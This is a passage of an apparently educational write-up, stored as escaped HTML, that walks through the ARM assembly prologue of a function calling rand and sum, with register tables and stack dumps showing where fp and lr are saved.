&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;rand&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;bne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;.L6&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;.L7&lt;/span&gt;
&lt;span class="nl"&gt;.L6:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.L9&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ble&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;.L8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.L9&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;sum&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;.L7&lt;/span&gt;
&lt;span class="nl"&gt;.L8:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mvn&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="nl"&gt;.L7:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nl"&gt;.L10:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.align&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="prologue-2"&gt;Prologue&lt;/h3&gt;
&lt;p&gt;The function saves &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with a single &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; notation is a &lt;em&gt;set&lt;/em&gt;, not a &lt;em&gt;list&lt;/em&gt;: registers are pushed in the &lt;em&gt;inverse&lt;/em&gt; order of the registers (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r15&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) regardless of how the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is written.&lt;/p&gt;
&lt;p&gt;In our case &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r11&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r14&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so that is the natural order, then the inverse order applies: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r14&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is pushed first, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r11&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; later.&lt;/p&gt;
&lt;p&gt;In short: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r14&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be at the bottom of the stack (higher addresses) while &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r11&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be at the top (lower addresses).&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is then updated to the base of the stack for the current function call. The stack frame begins &lt;em&gt;after&lt;/em&gt; storing the previous &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so the current &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points to the saved &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; update is done with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (by this moment the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is off by 4 due the push of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The registers at the begin of the call were:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;cccc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;cccc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;dddd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;dddd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r5&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r6&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;sb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r10&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;bbbb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;bbbb&lt;/span&gt;
&lt;span class="nf"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nb"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And after the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the registers were:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-----&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;cccc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;cccc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;dddd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;dddd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r5&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r6&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;sb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r10&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;ffc&lt;/span&gt;
&lt;span class="nf"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;ff8&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nb"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-----&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And the stack:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is &lt;strong&gt;not&lt;/strong&gt; compatible with what we saw in &lt;code class="none"&gt;rand&lt;/code&gt; and &lt;code class="none"&gt;sum&lt;/code&gt;: the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points to the saved &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in these functions but points to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in &lt;code class="none"&gt;main&lt;/code&gt;.&lt;/p&gt;
